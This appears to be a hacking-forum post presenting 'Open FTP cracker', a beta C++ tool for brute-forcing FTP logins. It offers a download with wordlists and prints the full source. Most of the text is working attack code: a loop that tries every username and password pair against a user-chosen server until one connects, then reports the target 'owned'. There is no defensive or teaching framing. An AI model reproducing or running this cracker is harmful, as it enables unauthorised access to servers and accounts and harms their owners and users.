Open FTP cracker:
This is a remote password cracker for FTP servers that performs dictionary attacks in real time, which is very accurate. It uses WinInet and is coded in C++, you can add as many usernames and passwords to the files as you want and choose any target. As the title suggests it's completely open source (but please read our
terms and conditions) and it includes a compiled win32 version, along with the "usernames.txt" and "passwords.txt" files with some basic combinations to get you started.
Note: as this is only beta, their are some things that need improving, such as the kill connection throttle to speed up cracking attempt iterations so keep checking for updates.
DOWNLOAD
Source code, just in case anyone wants a quick read:
Code:
#include <windows.h>
#include <wininet.h>
#include <iostream>
#include <string>
#include <fstream>
using namespace std;
#pragma comment(lib, "Wininet")
int main()
{
SetConsoleTitle("Open FTP cracker coded by Dreamwalker - HackCommunity.com, http://Dreamwalk.yolasite.com/");
cout<<"Open FTP cracker beta 1.0 coded by Dreamwalker\n_________________________________________________\n"<<endl;
string usernames = "", passwords = "", target = "";
//init wininet functions
HINTERNET hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
if(!hInternet)
{
cout<<"Error starting WinInet, closing"<<endl;
Sleep(1500);
return -1;
}
//get files
ifstream user_reader("usernames.txt");
ifstream pass_reader("passwords.txt");
//file error handling
if((!user_reader)||(!pass_reader))
{
cout<<"Error opening one of the input files, closing..."<<endl;
cout<<"ensure \"usernames.txt\" and \"passwords.txt\" are in the same"<<endl;
cout<<"directory as this application\n"<<endl;
Sleep(15000);
return -1;
}
//get target server
cout<<"What is the target FTP server?:"<<endl;
cin>>target;
//get first username to be used in loop
getline(user_reader,usernames);
//go through all passwords on one username then continue to next username until list has finished
int attempts = 0;
HINTERNET hFtpSession = NULL;
while(!user_reader.eof())
{
attempts++;
//clear screen lazy way, to be changed
system("cls");
getline(pass_reader,passwords);
cout<<"\nCracking in progress, target = "<<target<<endl;
cout<<"Trying username "+usernames+" with password "+passwords+" attempts "<<attempts<<" ";
//Connect to FTP server with provided credentials
hFtpSession = InternetConnect(hInternet,target.c_str(),INTERNET_DEFAULT_FTP_PORT,usernames.c_str(),passwords.c_str(), INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0);
//is password cracked?
if(!hFtpSession)
{
cout<<" = FAIL"<<endl;
}
else if(hFtpSession)
{
cout<<"\nOwned target of "<<target<<endl;
cout<<"\n\nCracked!, the username is "+usernames+" and password is "+passwords<<endl;
break;
}
if(pass_reader.eof())
{
//reset pass file
pass_reader.clear();
pass_reader.seekg(0,ios::beg);
//get next username
getline(user_reader,usernames);
}
}
InternetCloseHandle(hInternet);
pass_reader.close();
user_reader.close();
cout<<"\nFinished, will close in 5 mins (or do it manually)"<<endl;
Sleep(300000);
return 0;
}